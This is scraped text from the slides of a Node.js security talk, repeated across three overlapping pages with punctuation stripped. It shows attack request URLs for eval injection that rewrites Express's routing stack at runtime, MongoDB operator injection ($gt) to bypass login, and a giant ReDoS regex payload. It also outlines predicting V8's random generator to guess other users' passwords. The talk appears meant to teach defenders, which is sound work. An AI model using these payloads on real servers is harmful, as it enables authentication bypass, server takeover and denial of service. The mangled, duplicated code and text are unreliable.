However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 13: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

V8rsquos default PRNG

The parameters of the algorithm are modified by Google every few releases but the

algorithm looks similar to the following (the actual value is then divided by 2^32)

httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773

Random number generator using George Marsaglias MWC algorithm

static uint32_t random_base(uint32_t state)

Initialize seed using the system random()

No non-zero seed will ever become zero again

if (state[0] == 0) seed_random(state)

Mix the bits Never replaces state[i] with 0 if it is nonzero

state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)

state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)

return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)

V8rsquos default PRNG

Given 3 consecutive random numbers the values of state[0] and state[1] can be

inferred ndash hence all future values can be known in advance

But

In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons

this issue is treated as low-severity

But

In nodejs all users are running within the same context Each user can tell what

are the values of the global ldquostaterdquo variables

Step 1

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

RealUser1 ndash Future Password

DEMO

Architecture

MongoDB is a document-oriented database Classified as

NoSQL and as such doesnrsquot use the traditional table-bases

structure as relational-databases Instead it stores JSON

documents in its dynamic schemas

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 14: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

V8rsquos default PRNG

Given 3 consecutive random numbers the values of state[0] and state[1] can be

inferred ndash hence all future values can be known in advance

But

In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons

this issue is treated as low-severity

But

In nodejs all users are running within the same context Each user can tell what

are the values of the global ldquostaterdquo variables

Step 1

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

RealUser1 ndash Future Password

DEMO

Architecture

MongoDB is a document-oriented database Classified as

NoSQL and as such doesnrsquot use the traditional table-bases

structure as relational-databases Instead it stores JSON

documents in its dynamic schemas

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 15: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Step 1

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

RealUser1 ndash Future Password

DEMO

Architecture

MongoDB is a document-oriented database Classified as

NoSQL and as such doesnrsquot use the traditional table-bases

structure as relational-databases Instead it stores JSON

documents in its dynamic schemas

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

